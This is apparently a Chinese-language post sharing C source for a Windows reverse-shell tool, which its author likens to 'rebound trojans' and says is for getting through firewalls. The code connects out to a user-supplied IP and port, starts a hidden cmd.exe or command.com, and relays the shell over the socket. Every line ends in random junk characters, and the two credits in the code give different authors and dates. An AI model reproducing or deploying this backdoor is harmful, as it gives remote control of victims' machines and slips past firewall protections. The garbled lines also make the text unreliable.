这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gfPR3%EXs
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/* ============================== Y}n$s/O:u8
Rebound port in Windows NT flXDGoW
By wind,2006/7 ';vLj1v
===============================*/ Wcf;ZX
#include xNAa,aMM
#include JtbwY@R
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#pragma comment(lib,"wsock32.lib") #GVf+8"
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void OutputShell(); ` 0z8J*T]
SOCKET sClient; X$0&tmum
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4~DW7(
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void main(int argc,char **argv) "BvAiT{u
{ ETMF.-P
WSADATA stWsaData; VZ1u/O?ub
int nRet; ZR*Dl.GWY
SOCKADDR_IN stSaiClient,stSaiServer; +\yQZ{4'@
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if(argc != 3) Fu$JI8
{ Xf/qUao
printf("Useage:\n\rRebound DestIP DestPort\n"); lmbC2\GT
return; y7@q]~%
} WW[G ne
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WSAStartup(MAKEWORD(2,2),&stWsaData); N_Q\+x}zq
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?rSm6V
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stSaiClient.sin_family = AF_INET; 277Am*2
stSaiClient.sin_port = htons(0); ,+U,(P5>s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); C9Xj)5k@R
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P7|x=Ew;`
{ #
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printf("Bind Socket Failed!\n"); ;+NU;f/WM
return; +)U>mm,
} <UE-9g5?G
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stSaiServer.sin_family = AF_INET; upefjwm
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d'UCPg<Y
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); grbUR)f<?-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7>$&CWI
{ 1J?x2
printf("Connect Error!"); Q3P*&6wA
return; Nt/#Qu2#br
} $^ZugD
OutputShell(); E5`KUMZkq
} E,$5V^
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void OutputShell() vq;_x
{ Fo$'*(i
char szBuff[1024]; G~FAChI8![
SECURITY_ATTRIBUTES stSecurityAttributes; k*$[V17
OSVERSIONINFO stOsversionInfo; (I0QwB
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; y{O817 \
STARTUPINFO stStartupInfo; O$,bNu/g
char *szShell; 's7 (^1hH
PROCESS_INFORMATION stProcessInformation; 9%6W_0>
unsigned long lBytesRead; U%T{~f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Unc_e
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V0/O
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stSecurityAttributes.lpSecurityDescriptor = 0; A2{s?L,
stSecurityAttributes.bInheritHandle = TRUE; PH6NU&H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gkRbb
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `;BpdG(m
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]O1}q!s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SZ3UR
stStartupInfo.wShowWindow = SW_HIDE; eR*y<K(d
stStartupInfo.hStdInput = hReadPipe; Jh!'"7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8sz|9~
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GetVersionEx(&stOsversionInfo); ZCuLgCP?Z
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switch(stOsversionInfo.dwPlatformId) Ks_B%d
{ Tn"/EO^N
case 1: X\
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szShell = "command.com"; ccm(r~lhJ
break; 8P[aX3T7G
default: 6&KvT2?tA`
szShell = "cmd.exe"; Y24H`
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break; sBV})8]KM
}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4ht+u
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send(sClient,szMsg,77,0); Gr}lr gP S
while(1) /lqVMlz\77
{ D/x!`&.sN
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [t }\8^y
if(lBytesRead) \Uh$%#}.
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ( {}Z
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send(sClient,szBuff,lBytesRead,0); T**v!Ls
} h-+GS%
else f tE2@}
{ U,e'vS{
lBytesRead=recv(sClient,szBuff,1024,0); lwj,8
if(lBytesRead<=0) break; ;(I')[R"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `%oJa`
} 4k4 d%
} '7;b+Vbl#
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return; 3d81]!n
}